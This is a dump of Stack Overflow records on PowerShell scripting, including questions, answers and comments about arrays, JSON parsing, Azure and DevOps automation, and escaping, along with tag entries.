http://stackoverflow.com/a/79186435
type: Answer
has body: Use -MessageData to pass in the $ScriptBlock to the Action block otherwise that value is lost once your function returns. # Listen for the Elapsed event and execute our script block when it occurs $registerObjectEventSplat = @{ InputObject = $timer EventName = 'Elapsed' SourceIdentifier = 'Timer.Debounce' MessageData = $ScriptBlock Action = { Write-Host 'Hello!'; &amp; $event.MessageData } } $id = Register-ObjectEvent @registerObjectEventSplat The other alternative which I personally wouldn't recommend is to dot source the function call. The original code remains the same but when calling the function you just add a . before calling it: $f = . New-Debounce -ScriptBlock { Write-Host 'There' } -DelayMilliseconds 1000 &amp; $f The downside here is that first, it will be quite confusing for the reader and second is that the passed parameters ($ScriptBlock and $DelayMilliseconds) will now exist in the caller's execution context.
downvote count: 0
accepted answer of: http://stackoverflow.com/q/79186417
score: 1
answers question: http://stackoverflow.com/q/79186417
upvote count: 1
type: AcceptedAnswer

http://stackoverflow.com/a/79225232
downvote count: 1
type: Answer
has body: What is the purpose of the first backslash used? powershell -Command "Start-Process powershell \"-ExecutionPolicy -- This is a rather sloppily written line of PowerShell with far too many escapes than is actually necessary. The first backslash does not need to be there at all. For example, this could be simplified like this: powershell -ExecutionPolicy Bypass -NoProfile -NoExit -Command "& '.\%powershellScriptFileName%'" -Verb RunAs As you can see in the sample re-write above, there's no need to perform a "cd" or Change Directory in-line. Simply provide the path to the script file.
score: 0
has comment: http://stackoverflow.com/comment/139703997
upvote count: 1
answers question: http://stackoverflow.com/q/79224838

http://stackoverflow.com/comment/139613595
type: AnswerComment
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79172792
has text: I think you should have explained that in the post. Now people have maybe tried to make some sense out of that where it was totally unnecessary because all you were after was a PowerShell way of defining an array of objects..

http://stackoverflow.com/comment/139478451
has text: @LED4 When an answer here solves your problem, you should mark it as solved.
comment on: http://stackoverflow.com/a/79079716
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139608017
type: AnswerComment
has text: It can't go below one. That's the minimum. There are no zero or negative reps here.
type: Comment
comment on: http://stackoverflow.com/a/79171899
score: 0

http://stackoverflow.com/a/79120041
answers question: http://stackoverflow.com/q/79119400
has comment: http://stackoverflow.com/comment/139517501
upvote count: 2
downvote count: 0
type: Answer
score: 2
has body: Generally speaking, to improve performance you should minimize calculations in any loop. There is some code that is inside your foreach() loop that doesn't need to be: $startDate, $endDate = $checkDateRange -split " - ", 2 $startDate = [datetime]::ParseExact($startDate.Trim(), "yyyy-MM-dd", $null) $endDate = [datetime]::ParseExact($endDate.Trim(), "yyyy-MM-dd", $null) $startDate and $endDate never change per file. Initialize them before your foreach loop. The same is true of your second attempt, but quite a bit worse. Adding a tab for each matching file will probably cause your UI to consume excessive memory and processor time while becoming unwieldy to use. I don't see where runspaces is implemented or where it would help. You were on the right track with your first attempt: gather all the files and info you need, then present the data. Building UI during processing will be slow. You might opt to put some Measure-Command blocks around code you expect to be long-running. Also review this article about Powershell performance of various variable types. Rules of thumb when optimizing: try to make the code executed in a loop as small and quick as possible, and try to make the loop execute as few times as possible.

http://stackoverflow.com/comment/139525923
comment on: http://stackoverflow.com/a/79126797
type: Comment
score: 1
has text: This approach is inherently brittle, because it has the potential to replace false positives; e.g., with `.Replace('192.168.10.10', '10.200.30.46')` an IP address in the input string such as `192.168.10.101` would match too. Also: it's not clear why there are _two_ `Set-Content` calls; the approach is less elegant due to needing a separate `.Replace()` call with literals for each replacement. Taking a step back: Not addressing the question being asked and simply offering a different approach without explaining _why it should be preferred_ over the approach in the question is ill-advised.
type: AnswerComment

http://stackoverflow.com/comment/139518419
has text: I replaced it with -match because it can be an array. but this is not the issue here. can you see my last code? I think it is working. the question is about the logic and not about the tag
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79122136

http://stackoverflow.com/q/79161235
tagged with: arrays
type: Question
downvote count: 0
answer count: 1
has title: PowerShell 2 different arrays
tagged with: powershell
accepted answer: http://stackoverflow.com/a/79161253
type: AnsweredQuestion
upvote count: 1
has answer: http://stackoverflow.com/a/79161253
score: 1
favorite count: 0
has body: I have an $array1 that is docker containers and image names. $array2 is a list of active pull requests from Azure Devops. I have attempted numerous variation of the code below. I cannot seem to figure out the correct way to items from $array1 if they are not in $array2. Master and Develop must always be removed. I need all of the items removed from $array1 that are in $array2 $array1 = docker ps -a --no-trunc -f name=myWEAPS* | ForEach-Object { "$(($_ -split '\s+',25)[1,-1])" } $array1 = $dockerCons[1..($dockerCons.Length - 1)] $array1 = 'myserver:1517 myserver7998', 'myserver:1515 myserver7990', 'myserver:1514 myserver7999', 'myserver:Master', 'myserverS8003', 'myserver:Develop myserver8002' $array2 = '1517' , '1518' $reg = [regex] '[7][0-9][0-9][0-9]' foreach ($dockerCon in $array1) { #Write-Host $dockerCon -ForegroundColor Gray if ($array2 -notcontains $dockerCon -and $dockerCon -match $reg) { Write-Host "`t"$dockerCon -ForegroundColor Red } }

http://stackoverflow.com/comment/139720169
type: QuestionComment
type: Comment
has text: As I said, @mklement0, you are simply misconstruing an English term, with a clear meaning. I could understand protestations on a non English site, had I not directly followed up my comment with examples, to prove the points. (Comments, as you know are character limited, so my advice was split over two). 'Should' isn't interchangeable with 'must', and therfore no implication that it was a 'requirement' rather than advisory. In the case in point, had I not quoted it, (as you've agreed), my follow up code would not have worked. You answered the underlying question, I worked around the code issue.
comment on: http://stackoverflow.com/q/79227225
score: 0

http://stackoverflow.com/a/79091037
type: Answer
answers question: http://stackoverflow.com/q/79078578
has body: Your formatting is terrible but assuming the input is like this without the incorrect line breaks in the middle of the id strings { "attributes": { "created": "2019-07-03T14:55:51+00:00", "enabled": true, "expire": "2299-12-25T07:28:38+00:00", "notBefore": null, "recoverableDays": 90, "recoveryLevel": "Recoverable", "updated": "2022-09-26T20:32:13+00:00" }, "contentType": "", "id": "https://prod-ukb2c-keyvault-ne.vault.azure.net/secrets/azure-log-analytics-workspace-customer-id", "managed": null, "name": "azure-log-analytics-workspace-customer-id", "tags": {} }, { // More similar objects } then the file is actually kind of json with a list of objects without a root element. You can simply use ConvertFrom-Json to operate on it after adding a valid root array object [] like this PS C:\> "[$(Get-Content C:\Reports\key.txt)]" | ConvertFrom-Json | ` Select-Object -Property name, id, ` @{Name="attributes.expire"; Expression={($_.attributes.expire -as [datetime]).ToString("MM-dd-yyyy")}} name id attributes.expire ---- -- ----------------- name1 id1 12-25-2299 name2 id2 12-25-2123 @{Name="name"; Expression={...}} is used to create a user-defined property
score: 0

escaping
tags question: http://stackoverflow.com/q/79224838
type: Tag
tag name: escaping
tags question: http://stackoverflow.com/q/79236266
tags question: http://stackoverflow.com/q/79388953
tags question: http://stackoverflow.com/q/79503032

http://stackoverflow.com/comment/139529226
type: QuestionComment
type: Comment
has text: @Luuk, `Add-Type -Assembly System.Windows.Forms; ([System.Windows.Forms.Screen]::AllScreens).Bounds` offers a _partial_ solution; it won't give you refresh-rate info. The post I linked to in my previous comment uses `[System.Windows.Forms.Screen]::AllScreens` as a starting point to find more detailed device information, albeit via low-level APIs.
comment on: http://stackoverflow.com/q/79128851
score: 1

http://stackoverflow.com/comment/139529482
type: QuestionComment
comment on: http://stackoverflow.com/q/79128284
type: Comment
score: 0
has text: @jdweng Thanks. Sent in feedback to MS on this. I'll see what comes out of it.

http://stackoverflow.com/comment/139709060
score: 1
has text: That's it thanks Daniel
type: QuestionComment
comment on: http://stackoverflow.com/q/79227970
type: Comment

http://stackoverflow.com/comment/139448530
score: 0
has text: Seriously? Error 0xc0000005 (Access Violation) is almost always caused by a programming bug, which includes forgetting error handling. Now ideas 2 & 3 are reasonable workarounds. If you run different code, you might be able to sidestep the bug.
comment on: http://stackoverflow.com/a/79085150
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/139688880
score: 0
type: AnswerComment
has text: Looks promising. In the RegEx version, `Direction` and `Protocol` are mixed up. And "RuleName" would preferably be truncated to 50, as some are 150 characters long.
comment on: http://stackoverflow.com/a/79216575
type: Comment

ssh
type: Tag
tag name: ssh
tags question: http://stackoverflow.com/q/79110499
tags question: http://stackoverflow.com/q/79416722
tags question: http://stackoverflow.com/q/79391395
tags question: http://stackoverflow.com/q/79503577
tags question: http://stackoverflow.com/q/79508893
tags question: http://stackoverflow.com/q/79422629

http://stackoverflow.com/comment/139589332
has text: [Please do not upload images of code/data/errors when asking a question.](//meta.stackoverflow.com/q/285551)
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79162118
score: 1

http://stackoverflow.com/comment/139653322
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79196973
score: 0
has text: Hello Theo, I actually don't know. The file ins't from me.

http://stackoverflow.com/comment/139490236
type: QuestionComment
has text: Please copy and paste the output of the `Help: About` command (run in [the command palette](//code.visualstudio.com/docs/getstarted/userinterface#_command-palette)) **into your question post**. also add the output of the version printing command of your shell
type: Comment
comment on: http://stackoverflow.com/q/79105813
score: 1

http://stackoverflow.com/comment/139664975
type: QuestionComment
comment on: http://stackoverflow.com/q/79202450
type: Comment
score: 0
has text: Your real problem is the use of `Write-Output`, which writes to the success output stream, just like `return` does, thereby modifying the function's "return value", as pointed out in sirtao's answer and as explained in more detail in the linked duplicate.

mutex
tags question: http://stackoverflow.com/q/79185432
type: Tag
tag name: mutex

http://stackoverflow.com/comment/139529415
has text: Report problems here : https://learn.microsoft.com/en-us/windows/release-health/status-windows-11-24h2#report-a-problem-with-windows-updates
comment on: http://stackoverflow.com/q/79128284
type: QuestionComment
type: Comment
score: 1

http://stackoverflow.com/comment/139583774
has text: Thank you, @OldBoy! This is a fantastic idea and exactly the answer I was looking for.
score: 0
comment on: http://stackoverflow.com/q/79158483
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139448679
type: QuestionComment
type: Comment
has text: What did you try? Which problem are you facing? How many rows does your file contain?
comment on: http://stackoverflow.com/q/79085285
score: 1

http://stackoverflow.com/comment/139540969
comment on: http://stackoverflow.com/q/79135538
type: QuestionComment
type: Comment
score: 0
has text: Have you tried any code so far! @Khalil

http://stackoverflow.com/a/79122048
has comment: http://stackoverflow.com/comment/139523355
downvote count: 0
score: 2
upvote count: 2
type: Answer
has body: It looks like the URI you are using resolves to a path that doesn't exist. Based on JIRA Service Desk REST API Reference it looks like the URI for uploading an attachment to a ticket, looks a bit like this: /rest/servicedeskapi/request/{issueIdOrKey}/attachment It might be different based on environments, but this is as close as I could get it based on the provided information. Suggest you try editing these two lines: $jiraRestUrl = "http://xxxxxxx/jira/rest/api/2" "$jiraRestUrl/issue/$jiraID/attachments" To: $jiraRestUrl = "http://xxxxxxx/rest/servicedeskapi/request/" "$jiraRestUrl/$jiraID/attachment/" Maybe you need to play around a bit with the API to figure out what works, maybe start by just retrieving a ticket based on the Jira Ticket ID? Edit: I found another page with another example for creating a comment with an attachment. Maybe this is even more accurate for your use-case? It uses almost identical URI to what I posted, but has an additional URI for adding the attachment with a comment: Create comment with attachment
answers question: http://stackoverflow.com/q/79121690

http://stackoverflow.com/comment/139663402
type: QuestionComment
comment on: http://stackoverflow.com/q/79189697
type: Comment
score: 0
has text: AFAIK an encrypted appx package is not provisionable. You can only install the appx package as a provisioned one. Maybe @Hans Passant has more knowledge on that

http://stackoverflow.com/comment/139726517
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79237732
has text: @SantiagoSquarzon `__ComObject` is ambiguous and I would rather have it be slightly more explicit, if possible... Of course I could go down the C# route but I'm trying to see if that's avoidable (while remaining type-safe in Powershell)
score: 0

http://stackoverflow.com/comment/139515262
has text: @iRon - Thanks. I am currently out of town and will look at that upon my return Friday evening.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79116129
score: 0

http://stackoverflow.com/comment/139619791
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79178285
score: 0
has text: @user2956477 You need to supply a destination when calling `SendTo`: `$socket.SendTo($ethernetFrame, [System.Net.IPEndPoint]::new(0, 0))`

http://stackoverflow.com/comment/139661925
comment on: http://stackoverflow.com/q/79195703
type: QuestionComment
has text: @JeremyLakeman If you happen to have a C# demonstration, I'm optimistic I can translate it to PowerShell.
type: Comment
score: 0

variables
tag name: variables
tags question: http://stackoverflow.com/q/79174170
tags question: http://stackoverflow.com/q/79168506
type: Tag
tags question: http://stackoverflow.com/q/79078432
tags question: http://stackoverflow.com/q/79148904
tags question: http://stackoverflow.com/q/79277794
tags question: http://stackoverflow.com/q/79256387
tags question: http://stackoverflow.com/q/79422309

http://stackoverflow.com/comment/139698583
comment on: http://stackoverflow.com/q/79222331
type: QuestionComment
type: Comment
score: 0
has text: I found that pipe the result of Format-Volume to Out-Host got what I want, but why? Out-Host should be the default, right?

http://stackoverflow.com/comment/139743384
type: Comment
score: 0
has text: PnP.PowerShell version 1.12 needs to create a folder in OD in any way using client ID and secret. when I am using -UseWebLogin it worked but this should work automatically without any popup
type: QuestionComment
comment on: http://stackoverflow.com/q/79229441

http://stackoverflow.com/comment/139713117
has text: B.T.W. Don't use `$input` as self-declared variable because it is an [Automatic variable](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_automatic_variables?view=powershell-7.4#input).
score: 1
comment on: http://stackoverflow.com/q/79227388
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139656936
type: AnswerComment
has text: I wonder why there isn’t a function like this in PowerShell.
comment on: http://stackoverflow.com/a/79199171
type: Comment
score: 0

http://stackoverflow.com/comment/139559736
has text: Thank you for the updated code! So the Patterns comes from a function I have which is different types of PII data, I'll add that to the original post.
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/79146113
type: Comment

ncr
type: Tag
tag name: ncr
tags question: http://stackoverflow.com/q/79204520

http://stackoverflow.com/comment/139640618
type: Comment
comment on: http://stackoverflow.com/a/79189592
has text: Use `Get-CimInstance` instead of the deprecated `Get-WimObject`. It is not even available in PowerShell Core (6+).
score: 1
type: AnswerComment

http://stackoverflow.com/comment/139707571
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79227179
has text: @NeoGenesis521 actually my bad, seems like `.SessionStateProxy.PSVariable` isn't available either when using a ConnectionInfo. I'll update in a few minutes
type: Comment

http://stackoverflow.com/comment/139635057
score: 0
comment on: http://stackoverflow.com/a/79186893
type: AnswerComment
has text: Further resources for common Powershell issues: https://stackoverflow.com/questions/803521/powershell-pitfalls/69644807#69644807
type: Comment

http://stackoverflow.com/comment/139743800
has text: Tree lists a lot of files but it appears as though installation directory is not listed. Install-Module -Name SqlChangeAutomation works fine. I've been runining a Microsoft Hosted Ubuntu agent. When I've developed the Powershell script it was on a Windows machine so i'm looking for the C/Program Files directory which doesn't exist on the Ubuntu agent.
type: QuestionComment
comment on: http://stackoverflow.com/q/79234361
type: Comment
score: 0

http://stackoverflow.com/a/79184694
upvote count: 1
has body: Query resources in resource groups where tags are missing You can use below PowerShell script and I followed Document1 and Document2: In my case given two resource groups , you can also get all resource groups using $rgs = Get-AzResourceGroup and taken only one tag(hello) for example: $rgs = @("rithpyser", "rithtest_group") $ith_needed_tags = @("hello") foreach ($r in $rgs) { $all_res = Get-AzResource -ResourceGroupName $r foreach ($rith_res in $all_res) { $rgt = $rith_res.Tags.Keys $mt = $ith_needed_tags | Where-Object { $_ -notin $rgt } if ($mt.Count -gt 0) { Write-Output "Hello Rithwik, Resource: $($rith_res.Name) in Resourec group : $r is missing tags: $($mt -join ', ')" } } } Output:
score: 1
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/79184599
type: Answer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/79184599

http://stackoverflow.com/comment/139615556
score: 0
comment on: http://stackoverflow.com/a/79132466
type: AnswerComment
has text: Hi @My ADO Obsession, as I mentioned "The supported values of `AssignmentSource` are `groupRule`, `none` and `unknown`. To get the user whose assignment source is direct, you should use `$_.accessLevel.assignmentSource -eq "unknown"`".
type: Comment

keyboard-events
tag name: keyboard-events
type: Tag
tags question: http://stackoverflow.com/q/79164514

http://stackoverflow.com/comment/139608010
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79171899
has text: A reputation of 1. Now, to get a higher rep or to try to keep it at 1....
type: Comment

http://stackoverflow.com/a/79133088
has comment: http://stackoverflow.com/comment/139576279
type: Answer
score: 0
answers question: http://stackoverflow.com/q/79132942
has body: You have to access methods in a different way, try changing the script like this: Get-MsolUser -All | Select-Object DisplayName, UserPrincipalName, @{ Name = 'MFA Status'; Expression = { if ($_.StrongAuthenticationRequirements.State -eq "Enforced") { "Enforced" } elseif ($_.StrongAuthenticationMethods.Count -gt 0) { "Enabled" } else { "Disabled" } } } | Export-Csv "D:\MFAStatus.csv" -NoTypeInformation
has comment: http://stackoverflow.com/comment/139555043

http://stackoverflow.com/a/79145321
has body: To extend on the helpful answer from Santiago Squarzon, you might also use the Select-String cmdlet for this: In fact, this shows the beauty of the PowerShell Pipeline where each object (string) is processed one-at-the-time by each cmdlet (and/or parameters -as in this case-) acting and performing as a single function. Select-String -Path $File -Pattern $searchStrings | Select-String -NotMatch -Pattern $excludeStrings Which, as a bonus, also highlights the found matches:
answers question: http://stackoverflow.com/q/79144958
upvote count: 2
downvote count: 0
type: Answer
score: 2

http://stackoverflow.com/comment/139467856
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/79095487
has text: I can’t test right now, so not posting as an answer, but OrderedDictionary has an “Insert” method you could use to iterate over all the existing keys and then “Insert” into a new OrderedDictionary at index zero. This will reverse the order in the new OrderedDictionary and preserve it in your original.
type: Comment

invoke-restmethod
tags question: http://stackoverflow.com/q/79121690
tags question: http://stackoverflow.com/q/79188506
tag name: invoke-restmethod
type: Tag

http://stackoverflow.com/comment/139589454
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79161585
score: 0
has text: FYI and as an alternative to scripting, you can [use Logic Apps to receive email about status changes of key vault secrets](https://learn.microsoft.com/en-us/azure/key-vault/general/event-grid-logicapps).

http://stackoverflow.com/comment/139755417
has text: @Dave Well... running through a list of computers, you never know beforehand how many harddisks the one computer has as opposed to the next one, so you would never have a consistent CSV file (how many columns would you need to 'reserve'?) As for the Get-CIMInstance failing, why is that? I believe these cmdlets existed as of PowerShell version 3.0. Do you get error messages about it?
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79211175
type: AnswerComment

http://stackoverflow.com/comment/139666244
has text: @mklement0, thank you for detailed explanation. You are bringing back bad memories of writing a batch scripts that passed multiple double quotes, each escaped in a different way depending on the context.
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79198594

http://stackoverflow.com/comment/139436809
has text: What problem are trying to solve? PowerShell doesn't support generic type parameters in type definitions, so the solution is indeed to use `[object]` as the return type - but it also doesn't really matter much, PowerShell is much more concerned with runtime types than method signatures
score: 1
comment on: http://stackoverflow.com/q/79078591
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139525992
type: Comment
comment on: http://stackoverflow.com/q/79124278
score: 0
has text: ```Trace-Command``` is useful insomuch as it'll show you how PowerShell is *actually* resolving the example parameters, and that will show you why it's not working the way you *want* it to, but it won't help you change PowerShell's behaviour for sure. In short, if you want to use positional parameters *and* pipeline input you need to make sure your positional parameters don't bind to the ```ValueFromPipeline``` argument because there'll be nothing left to bind the pipeline argument to afterwards.
type: QuestionComment

http://stackoverflow.com/tag/csv
type: Tag
tags question: http://stackoverflow.com/q/79085285
tags question: http://stackoverflow.com/q/79116129
tags question: http://stackoverflow.com/q/79162118
tags question: http://stackoverflow.com/q/79114767
tags question: http://stackoverflow.com/q/79196973
tags question: http://stackoverflow.com/q/79152963
tags question: http://stackoverflow.com/q/79097282
tags question: http://stackoverflow.com/q/79072446
tags question: http://stackoverflow.com/q/79216817
tag name: csv
tags question: http://stackoverflow.com/q/79115793
tags question: http://stackoverflow.com/q/79386069
tags question: http://stackoverflow.com/q/79251306
tags question: http://stackoverflow.com/q/79440487
tags question: http://stackoverflow.com/q/79422640
tags question: http://stackoverflow.com/q/79421107

http://stackoverflow.com/comment/139473533
type: QuestionComment
has text: You might wonder why I want it in PowerShell. The reason being we have an automation execution system that runs many automation scripts. I am adding a new script for the new feature. We would like the automation to be a powershell script.
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79098593

http://stackoverflow.com/comment/139612796
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/79174610
has text: Can you show us more of the files (real but sanitized examples of their filenames) you are searching for? What happens when your function `Search-PDF` finds multiple files that match the criteria? As it is now, that function will only return the first possible hit..
type: Comment

http://stackoverflow.com/comment/139701113
comment on: http://stackoverflow.com/q/79223805
score: 1
type: QuestionComment
type: Comment
has text: Have you tried `$Filter = $prefix+'s*'` and then use the variable in the filter?

pim
tags question: http://stackoverflow.com/q/79099681
type: Tag
tag name: pim

http://stackoverflow.com/comment/139508914
has text: @memphreblues glad it helped! :)
type: Comment
comment on: http://stackoverflow.com/a/79115864
score: 0
type: AnswerComment

http://stackoverflow.com/q/79078102
has answer: http://stackoverflow.com/a/79083062
answer count: 1
type: AnsweredQuestion
tagged with: powershell
accepted answer: http://stackoverflow.com/a/79083062
score: 0
tagged with: azure-storage-account
has title: Cannot update ContinuationToken variable with actual ContinuationToken
type: Question
has body: I'm trying to run this code to scan a larger Azure Storage Account based on a filter string. But I get this error: An error occurred: Cannot convert 'System.Object[]' to the type 'Microsoft.Azure.Storage.Blob.BlobContinuationToken' required by parameter 'ContinuationToken'. Specified method is not supported. As I am already initializing $BlobContinuationToken as Microsoft.Azure.Storage.Blob.BlobContinuationToken, I'm not understanding the given error here. Can anyone explain? $SubscriptionName = 'not-going-to-tell-you' Select-AzSubscription -SubscriptionName $SubscriptionName $resourceGroupName = "rg-not-going-to-tell-you" $storageAccountName = "stnot-going-to-tell-you" $containerName = "not-going-to-tell-you" # Get the storage account context $storageAccount = Get-AzStorageAccount -ResourceGroupName $resourceGroupName -Name $storageAccountName $ctx = $storageAccount.Context $continuationToken = New-Object -TypeName 'Microsoft.WindowsAzure.Storage.Blob.BlobContinuationToken' $continuationToken = $null $filterCriteria = "*your-filter-criteria*" # Example filter criteria #$minSize = 100MB # Example size filter do { try { $resultSegment = Get-AzStorageBlob -Container $containerName -Context $ctx -ContinuationToken $continuationToken -MaxCount 500 $blobs = $resultSegment.Results $continuationToken = $resultSegment.ContinuationToken # Filter blobs based on criteria $filteredBlobs = $blobs | Where-Object { $_.Name -like $filterCriteria } #-and $_.Length -gt $minSize # Process the filtered blobs $filteredBlobs | ForEach-Object { $_.Name } } catch { Write-Error "An error occurred: $_" # Optionally, implement a retry mechanism or log the error for further investigation Start-Sleep -Seconds 5 # Wait for a few seconds before retrying } } while ($continuationToken -ne $null)

http://stackoverflow.com/comment/139703847
score: 0
comment on: http://stackoverflow.com/a/79184006
type: AnswerComment
has text: Have you tried as the suggestion in this answer? Does your pipeline can work as expected now? @panigale
type: Comment

http://stackoverflow.com/comment/139729154
score: 0
comment on: http://stackoverflow.com/q/79239103
has text: Microsoft.Winget.Client is indeed a powershell module. As im sure you're aware most anything can be made into a module. pswindowsupdate, exchangeonlinemanagement, microsoft.graph, all of them give the same error which does not occur on any other computer. obviously.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139708610
score: 0
has text: Absolutely, it's the 3 non-printable characters (which I think represent utf-8 or something). A really great tweak would be to eliminate all encoding types from the detection - I tried to do this in my original, but I'm not sure how successful that was. I have to keep testing with the excellent answers from Santiago and mklement0.
type: AnswerComment
comment on: http://stackoverflow.com/a/79212301
type: Comment

http://stackoverflow.com/comment/139719914
has text: You should _not_, @Compo: The ability to specify words that do not contain metacharacters as _barewords_, i.e. unquoted, is an important feature in any shell. What makes your - in my estimation misguided - advice confusing is that you _led_ with it, which can be misconstrued as implying that not following it is (part of) the problem at hand. In general, I suggest clearly framing _incidental advice_ as such.
comment on: http://stackoverflow.com/q/79227225
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/139617772
score: 0
comment on: http://stackoverflow.com/q/79176779
has text: If you're looking for a string representation such as `'2560 x 1600'`: `[System.Windows.Forms.Screen]::AllScreens | ForEach-Object { '{0} x {1}' -f $_.Bounds.Width, $_.Bounds.Height }`
type: QuestionComment
type: Comment

psql
tag name: psql
tags question: http://stackoverflow.com/q/79090045
type: Tag

http://stackoverflow.com/comment/139658045
has text: Hi @IkhtesamAfrin , no, it works "fine". I will start by processing 2 or 3 chunks before the Orchestrator is restarting and then starting over again losing my progress. It never moves on to the later chunks. I will add some logging snippeds to my question.
comment on: http://stackoverflow.com/q/79199384
type: QuestionComment
type: Comment
score: 1

http://stackoverflow.com/comment/139698807
type: Comment
has text: Hello @Jason Snouffer, Your suggestion worked. Thanks
comment on: http://stackoverflow.com/a/79213080
score: 1
type: AnswerComment

http://stackoverflow.com/a/79078439
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/79078432
downvote count: 0
accepted answer of: http://stackoverflow.com/q/79078432
type: Answer
score: 3
upvote count: 3
has body: ... |Select-Object &lt;propertyName&gt;,... will create a new object and copy the properties from the input object to the new object - so you end up with a new object that has exactly 1 property named InstallLocation. To grab only the value of a single property, use ForEach-Object -MemberName instead: $InstallLocation1 = Get-WmiObject -Class Win32_Product -Filter 'Name like &quot;%FAS%&quot;' |ForEach-Object -MemberName InstallLocation Alternatively you can (ab)use Select-Object's -ExpandProperty parameter to achieve the same outcome: $InstallLocation1 = Get-WmiObject -Class Win32_Product -Filter 'Name like &quot;%FAS%&quot;' |Select-Object -ExpandProperty InstallLocation

http://stackoverflow.com/comment/139466375
has text: Script code looks fine - can you tell us more about how you deploy and invoke this script?
score: 1
comment on: http://stackoverflow.com/q/79094796
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139504157
score: 0
comment on: http://stackoverflow.com/q/79115375
has text: That doesn't help. Just like your extended version of the linked code doesn't produce the errors, neither would the linked code.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139523154
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79125853
has text: Yes, when I run the script locally, I get the following output: Connected to Microsoft Graph as my-account@mycompany Fetching user entitlements from Azure DevOps... Found 0 users with direct assignments. ------------------------------ User Email Addresses: ------------------------------ Manager Email Addresses: ------------------------------ All Email Addresses: ------------------------------ Copy the following lists into Outlook: User Emails (To): Manager Emails (CC): All Emails (To/CC):
type: QuestionComment

http://stackoverflow.com/a/79338381
has body: I was having issues with this, receiving the same "No backups passed through" earlier today. I sorted my issue. It was to do with a path I was passing it that did not exist. For your issue: The Restore-DbaDatabase warning implies that you have dbatools installed OK. What result do you get if you just run: Get-ChildItem "C:\NH\WH_BEE_$(Get-Date -Format "yyyyMMdd")_*.bak"
answers question: http://stackoverflow.com/q/79103970
score: -1
upvote count: 0
downvote count: 1
type: Answer
has comment: http://stackoverflow.com/comment/139910712

http://stackoverflow.com/comment/139551973
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79141674
has text: Tip: Consider `$RealBin` from Find::Bin to find the directory containing the script (and thus `"$RealBin/../../.."`). It's equivalent to `dirname( abspath( $0 ) )`. The missing `abspath` in your approach matters when a symlink to the program is used.

http://stackoverflow.com/comment/139547469
has text: 10 is the default page size and the example above just lists emails it doesn't delete them. If you want list all emals then Get-MgUserMailFolderMessage has both a -PageSize 999 and -All parameter you can use to delete email use Remove-MgUserMessage. Note even if you do delete emails this way they won't be permanently deleted they will go into the recoverable items folder so while they won't be visible to the user they will still be recoverable (this is the normal retention processes for anything that is deleted from a Mailbox).
type: Comment
comment on: http://stackoverflow.com/a/79136043
score: 0
type: AnswerComment

linked-service
type: Tag
tags question: http://stackoverflow.com/q/79091839
tag name: linked-service

http://stackoverflow.com/comment/139648371
comment on: http://stackoverflow.com/a/79194293
type: Comment
score: 0
has text: @The-Stanislav makes special compared to what? If you're asking about actual binary cmdlets then of course you won't be able to see their source code, it's already compiled. If you want to see the source code of those go to https://github.com/PowerShell/PowerShell
type: AnswerComment

http://stackoverflow.com/q/79101472
type: Question
tagged with: azure-data-factory
answer count: 0
score: 0
tagged with: powershell
has body: I have built a CI/CD release pipeline in DevOps to deploy from my Dev ADF to (currently) a UAT ADF. The pipeline works fine in terms of moving everything across, however the powershell script that is supposed to stop/start triggers is not working. By default, all my triggers in Dev are stopped, but I need them to be turned on in UAT. I have tried fiddling with the ps script, but I don't really know powershell. Can someone please review my script and tell me where the issue is? param ( [parameter(Mandatory = $false)] [String] $armTemplate, [parameter(Mandatory = $false)] [String] $ResourceGroupName, [parameter(Mandatory = $false)] [String] $DataFactoryName, [parameter(Mandatory = $false)] [Bool] $predeployment=$true, [parameter(Mandatory = $false)] [Bool] $deleteDeployment=$false ) function getPipelineDependencies { param([System.Object] $activity) if ($activity.Pipeline) { return @($activity.Pipeline.ReferenceName) } elseif ($activity.Activities) { $result = @() $activity.Activities | ForEach-Object{ $result += getPipelineDependencies -activity $_ } return $result } elseif ($activity.ifFalseActivities -or $activity.ifTrueActivities) { $result = @() $activity.ifFalseActivities | Where-Object {$_ -ne $null} | ForEach-Object{ $result += getPipelineDependencies -activity $_ } $activity.ifTrueActivities | Where-Object {$_ -ne $null} | ForEach-Object{ $result += getPipelineDependencies -activity $_ } return $result } elseif ($activity.defaultActivities) { $result = @() $activity.defaultActivities | ForEach-Object{ $result += getPipelineDependencies -activity $_ } if ($activity.cases) { $activity.cases | ForEach-Object{ $_.activities } | ForEach-Object{$result += getPipelineDependencies -activity $_ } } return $result } else { return @() } } function pipelineSortUtil { param([Microsoft.Azure.Commands.DataFactoryV2.Models.PSPipeline]$pipeline, [Hashtable] $pipelineNameResourceDict, [Hashtable] $visited, [System.Collections.Stack] $sortedList) if ($visited[$pipeline.Name] -e…
has title: ADO CI/CD for ADF - triggers not getting started in target environment
type: UnansweredQuestion

http://stackoverflow.com/comment/139583253
score: 0
